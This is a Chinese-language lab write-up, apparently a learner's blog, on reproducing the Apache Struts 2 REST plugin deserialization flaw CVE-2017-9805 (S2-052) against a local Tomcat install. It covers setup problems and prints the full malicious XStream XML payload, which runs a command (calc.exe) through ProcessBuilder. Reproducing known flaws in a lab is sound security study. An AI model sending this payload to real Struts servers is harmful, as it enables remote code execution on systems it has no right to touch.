漏洞描述:
CVE-2017-9805
2017年9月5日,Apache Struts官方发布最新的安全公告称,Apache Struts 2.5.x的REST插件存在远程代码执行高危漏洞,漏洞编号为CVE-2017-9805(S2-052),受影响的版本为Struts 2.5 - Struts 2.5.12。
原理:攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。
环境搭建:win10系统、struts2-rest-showcase.war、struts2-showcase.war、apache-tomcat
由于是为数不多的几次复现,小白一枚,途中遇到较多的问题,希望自己能记住。
首先遇到的第一个问题,会跳出一个框框“指定服务未安装”大概就是这个吧!
解法:原来是没有安装此项服务。具体安装方法:打开命令行提示符窗口
=> 进入Tomcat安装目录==> 进入bin目录下==> 输入:service.bat install 即可
成功运行如下图所示:
随后继续操作又发现一个问题:
因为用的是火狐,本地127.0.0.1抓不到包,最后发现火狐代理里面有个localhost和127.0.0.1不使用代理的默认设置。
把不使用代理中的内容给删除了就好了
然后继续操作,发现第三个很重要的问题:一定要熟悉http,什么请求啊等等等。
就比如下面的两张图:
就遇到这三个小问题,然后其他按着操作就好了
关键折尺
修改两个地方,一是Content-Type: application/xml
二是post数据内容为:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”> <dataHandler> <dataSource class=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”> <is class=”javax.crypto.CipherInputStream”> <cipher class=”javax.crypto.NullCipher”> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=”javax.imageio.spi.FilterIterator”> <iter class=”javax.imageio.spi.FilterIterator”> <iter class=”java.util.Collections$EmptyIterator”/> <next class=”java.lang.ProcessBuilder”> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=”javax.imageio.ImageIO$ContainsFilter”> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=”string”>foo</next> </serviceIterator> <lock/> </cipher> <input class=”java.lang.ProcessBuilder$NullInputStream”/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>
</entry>
</map>
至于其他,得到计算器还没研究出来,继续探索!